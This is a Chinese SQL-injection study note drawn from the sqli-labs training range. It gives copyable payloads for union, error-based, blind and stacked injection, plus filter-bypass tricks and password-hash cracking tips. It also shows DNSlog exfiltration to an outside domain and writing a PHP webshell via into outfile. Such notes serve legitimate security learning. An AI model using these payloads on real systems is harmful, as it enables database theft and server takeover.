SQL 注入 思路总结&语句快速定位
这份笔记源于我通关sqli-labs靶场(1-42关)后的一个顿悟,即时精炼记下了关于SQL注入的核心思路与语句总结。最初它只是那次靶场练习的即时复盘,但后来随着我接触到更多新的题型、技巧和过滤场景,我又不断把新学到的知识点补充了进去。它从一个简单的通关心得,渐渐变成了我个人在SQL注入领域的“查漏补缺”手册。最后,如有疏漏或建议,欢迎指正,也希望这篇笔记也能给你在面对考察sql注入的知识点时带来启发
PS: 关于sqli-labs的1-42关的详细解题步骤我另写过一篇 sqli-labs 1-42 超详细通关笔记,不介意的话,可搭配食用 ^_^
目录(这里方便快速定位)
判断
找注入点
关注url有无可疑的参数(尤其是出现?时)
在输入框,可以试试抓包在post处、cookie,ua头等等 各试一试输入单引号啥的看有没有报错。
有时有登录可以先进行登录(万能密码or页面提供了注册),看登录后有啥新的注入点;
判断参数类型
前提: id=1与id=2的回显信息本不一致
/?id=1 /?id=2-1
若两条语句回显页面同则为数字型,不同则为字符型;
判断注释符号有效否
get型注入推荐用--+来当注释符 post型注入推荐用#来当注释符
#浏览器URL中提交时需进行url编码,其url编码为 %23 而--+可以直接输在URL里
注意:若两种注释均无效,则考虑如何注释绕过;
1.若有报错信息or异常界面:
例如:已知/?id=1' 会显示*near ''1'' LIMIT 0,1' 当后面加#仍会显示有 '' LIMIT 0,1' 则说明在这里#被过滤;
2.看输入的与显示出的语句对比:
eg:
- /?id=1 group by 3#1
- Hint: The Query String you input is escaped as : 1 group by 3
- ?id=1 group by 3--+1
- Hint: The Query String you input is escaped as : 1 group by 3-- 1
---> 该题注释符可以用--+
判断闭合符号的方法: (判断出是字符型的情况下)
1.根据报错信息判断:
注意:当特意多加个引号页面仍正常,并不能代表是否是该闭合方式;--->因为此举本来目的是想由出现报错信息来给出提示(guess);
有报错信息看报错信息,测试时随便多加个单引号(不用注释后面的),看报错信息即可;
有时尝试某种闭合方式的仍页面正常或者无报错信息时,可以多尝试其他闭合方式看页面看能不能出现报错的情况;(eg:less-22、30)
注意:输入1’ ,有报错信息显示near ''1''' at line 1,故为单引号闭合,而不是双引号闭合,
- ''1''' 应该视为 ' '1' ' '
- (两边最外面的单引号是自带的)
- 中间加粗高亮的是输入的;
- 余下才是sql语句原有的;
2.使用万能密钥:
(若#不行替换成--+,即选有效的注释符)
1 OR 1 = 1# a' OR 1 = 1# a') OR 1 = 1# a')) OR 1 = 1# a" OR 1 = 1# a") OR 1 = 1# a")) OR 1 = 1#
eg:a' OR 1 = 1#成功登录,则表示该字段为单引号闭合
- 能用万能密钥的地方一般能sql注入。
- 当用万能密钥注入,有时不出现回显,可能是数据太多了可以加limit n,1进行限制输出
3.由页面真假、异常判断:
一、页面是否对语句进行了正确的判断
例如:(有时可能用or来替换and)
1' and 1=1# //显示登录成功 1' and 1=2# //显示登录失败
说明此时页面对语句进行了正确的判断,则闭合符号为单引号
1=1有时也可以简写为1 1=2 。。。。。。。。0 (这两简写的方法但也不一定)
二、加了注释后页面由异常变正常
当用某种闭合方法页面异常但无报错具体的信息,可以在后面加注释符(当然,此注释符有效的话),若此时异常的页面又正常回显了,很可能是该闭合方式(可能最好还是用用法一来辅助验证下);
4.sleep函数判断
(若sleep函数有效的话)
eg:/?id=1' and sleep(2)--+
若闭合正确,则会执行sleep函数;
5.注意有无括号
其实也可以在后面进行一系列查询的语句时,发现在没考虑有无括号的情况下都不对时,可以再去带如括号进行看哪个能正常执行(maybe不推荐)
判断小括号的几种方法:(例题见less-26a)
假如已判断出至少有单引号,
方法一:
2'&&'1'='1
- 若查询语句为
where,查询时是where&&'1'='1',结果是where,回显会是id=2。 - 若查询语句为
where id=('$id'),查询时是where id=('2'&&'1'='1'),MySQL 将'2'作为了 Bool 值,结果是where id=('1'),回显会是id=1。、
方法二:
1')||'1'=('1
- 若查询语句有小括号正确回显,若无小括号错误回显(无回显)。
均无法判断另寻他法:
- 堆叠注入;
- 例如存在mysqli_multi_query函数
- 等等
- 二次注入;
- 参数污染;
- 猜测后端代码;
- 创建一些特别的语句;
语句
注:以列数为3,单引号闭合 为例子;
注释符若--+不管用,换#试试;
查询的语句
库名:
database() select database()
表名:
select group_concat(table_name) from information_schema.tables where table_schema='库名'
列名:
select group_concat(column_name) from information_schema.columns where table_schema='库名' and table_name='表名'
数据:
select group_concat(字段1,字段2...) from 表名
union联合注入
有回显位,优先考虑union联合注入,使用union注入前要记得判断列数;
核心: union select 1,2,要查询的语句--+
(假如”2,“后面是回显位)
判断列数:(最后记得加注释符)
order by group by
判断回显位 (以判断出有3列为例)
注:前面的参数要设置为不存在的数值
/?id=-1' union select 1,2,3--+
判断库名、版本:
/?id=-1' union select 1,version(),database() --+
判断表名、列名:
/?id=-1' union select 1,2,(select group_concat(table_name) from information_schema.tables where table_schema='库名') --+?id=-1' union select 1,2,(select group_concat(column_name) from information_schema.columns where table_schema='库名' and table_name='表名') --+
获取数据:
/?id=-1' union select 1,2,(select group_concat(字段名1,字段名2,字段名3) from users) --+
报错注入
当无回显位,无法进行union联合注入后,可考虑报错注入
报错注入显示的字符数只有32位,有时可搭配substr、substring、limit等函数;
extractvalue报错
核心:extractvalue(1,concat(0x7e,要查询的语句))
库名:
/?id=0' union select 1,2,extractvalue(1,concat(0x7e,database()))--+ //该方式使用前要判断列数 /?id=0' and 1=extractvalue(1,concat(0x7e,database()))--+ //可以不用判断列数,推荐
表名
/?id=0' and 1=extractvalue(1,concat(0x7e,(select group_concat(table_name) from information_schema.tables where table_schema='库名')))--+
列名
?id=0' and 1=extractvalue(1,concat(0x7e,(select group_concat(column_name) from information_schema.columns where table_schema='库名' and table_name='表名')))--+
数据
?id=0' and 1=extractvalue(1,concat(0x7e,(select group_concat(字段名1,字段名2,字段名3) from 表名)))--+ ?id=0' and 1=extractvalue(1,concat(0x7e,(select substring(group_concat(字段名1,字段名2,字段名3),32,32) from 表名)))--+ //搭配substring
updatexml报错
核心:updatexml(1,concat('~',要查询的语句),3)
用法与extractvalue相同,只是多一个参数;
floor报错
使用前要判断列数;
核心:
union select 1,count(*),concat_ws('~',要查询的语句,floor(rand(0)*2)) as a from information_schema.tables group by a--+
上面语句的information_schema.tables可以换成任意行数多的表名;
盲注
无法union、报错注入时再考虑盲注;
一般手工盲注少,常用工具如sqlmap;
一般先判断该字符串长度,再针对该字符串里的每个字符进行判断;
判断长度:
length(要查询的)>=数字
在盲注里,下面介绍的语句在注入时前面加给个and或者or连接起来用即可(按不同情况选合适的);
布尔盲注
前提:页面有真假值
核心:
ascii(substr(要查询的语句,1,1))>=115--+ //由ascii来进行判断,可以使用二分法 substr(要查询的语句,1,1))>='s'--+ //直接对字母进行比较来判断
控制substr(参数1,参数2,参数3)里的参数2与3来一个个比较;
时间盲注
前提:页面无真假值,但sleep函数可用;
核心
if(嵌套布尔盲注里的语句,sleep(2),sleep(0))--+ //若if的参数一结果为真,则执行sleep(2),否则执行sleep(0)
DNSlog注入
比布尔、时间盲注效率都高,但要有对网站的读写权限才能用;
核心:
(select load_file(concat("//",(查询语句),".你的域名/bbb.txt") //注:bbb.txt处,随便起个名字
搭配的工具---网站:http://ceye.io/profile或者http://dnslog.cn/
注意:有时要在查询语句后面加limit等函数去限制字数,因为若名字太长就不会去解析DNS了;
堆叠注入
当select一被禁用,联合查询,报错注入,布尔,时间盲注有些使用会遭到限制,这时可以尝试 堆叠注入(此方法使用提前是;没被过滤)
show databases; show tables; show columns from `表名` //数据表为数字的时候需要用反引号括起来 set sql_mode=PIPES_AS_CONCAT; //PIPES_AS_CONCAT将 || 或运算符 转换为 连接字符,即让管道符号被解释为字符串的连接运算符。 根据情景采取改表、改名等等操作;(可能要猜后端查询语句)
其他
文件上传
运用eg:less-7
注意:
- 若用相对路径 'union select 1,"<?php phpinfo(); ?>" into outfile "./shell.php"# 文件保存的路径会在如"C:\phpstudy_pro\Extensions\MySQL5.7.26\data",因为它是由MySQL在操作,此写法就不能把文件保存在网站的目录下
- 若有写入权限,即在php.ini里的"secure_file_priv="时,才能使用一句话木马的方法。
- 当然盲注时,若有读写权限,也可以使用一句话木马的方法,因为sql注入原理就是把用户输入的信息插入到sql查询语句里。
- sqlmap有个temper文件夹,里面脚本可以绕过waf,但用之前还得知道waf过滤了哪些。
sqlmap使用
sqlmap有个temper文件夹,里面脚本可以绕过waf,但用之前还得知道waf过滤了哪些。
special-less
(方便快速回顾可参考: sqli-labs 1-42 通关笔记)
- less-17的post报错注入方法;
- less-29 双服务器、参数污染;
- less-32 适时使用16进制编码--表名
- less-42 堆叠注入
- pikachu sql注入get、post的第二种方法;(在能union注入的情况下)
注入点
- url上
- 提交信息上
- 登录或者提交后 http标头上
- user-agent
- referer
- cookie
- 等等
- 二次注入 ,eg:less-24
控制输出
- concat()
- group_concat()
- concat_ws()
- substr()
- substring()
- limit()
- select table_name from information_schema.tables where table_schema="security" limit 0,1
绕过
- 固定句型:set @xxx=....(想要执行的语句,可以结合其他的方法来构造);prepare yyy from @xxx;execute yyy;
- 其中xxx、yyy为自己定义的名字;
- 编码
- 例如:select被过滤,构造payload select *from where
表名*号查询数据表里面的全部内容, 假如进行16进制编码加密为kkk 最终payload:1';set @a=0xkkk;prepare execsql from @a;execute execsql;# // 其中a、execsql为自己定义的名字;
- 例如:select被过滤,构造payload select *from where
- 某关键词被禁用:(例如select)
- handler命令可以一行一行的显示数据表中的内容,例如构造 handler `表名`open as`别名`; handler `别名` read next;# 可参考题目:https://blog.ZEEKLOG.net/m0_73734159/article/details/134049744
- 利用concat拼接若为单引号闭合,1';set @sql=concat('s','elect 字段名 from `表名`');PREPARE aaa FROM @sql;EXECUTE aaa#
补充
- 拿到数据没法解密,常见加密方法md5,bcrypt(cmd5网站可以一些常见的解密) 若登录存在注入,跑出账号解密不了,这种情况很多 找加密的源码, 插入新的数据,替换数据、密码
- 要能堆叠注入才能插入更新数据。
- 若没法堆叠,可以尝试写入一句话木马,
- 有些信息看不懂可能是进行了编码,如base64,可见less-21;
- 有些过滤引号在写到表名啥的要有引号括起来时,可以把其名转为16进制编码,eg:less-32
- 判断列数时,若order by与group by均不可用,可以用union select来进行测试;
- 绕过方式见OneNote;(或者后续再补充)
- 通过数据库拿下服务器,条件:注入时要管理员权限,知道网站解析路径(绝对路径),数据库对系统有写入权限。现在主流排序注入较多。
- sqlmap流量很明显,原理是无限制尝试payload,对网站日志占用很大,容易打草惊蛇,使用的难点还在于:遇到安全设置怎么绕过,怎么找注入点。
- php在5.0以上才有information_schema数据库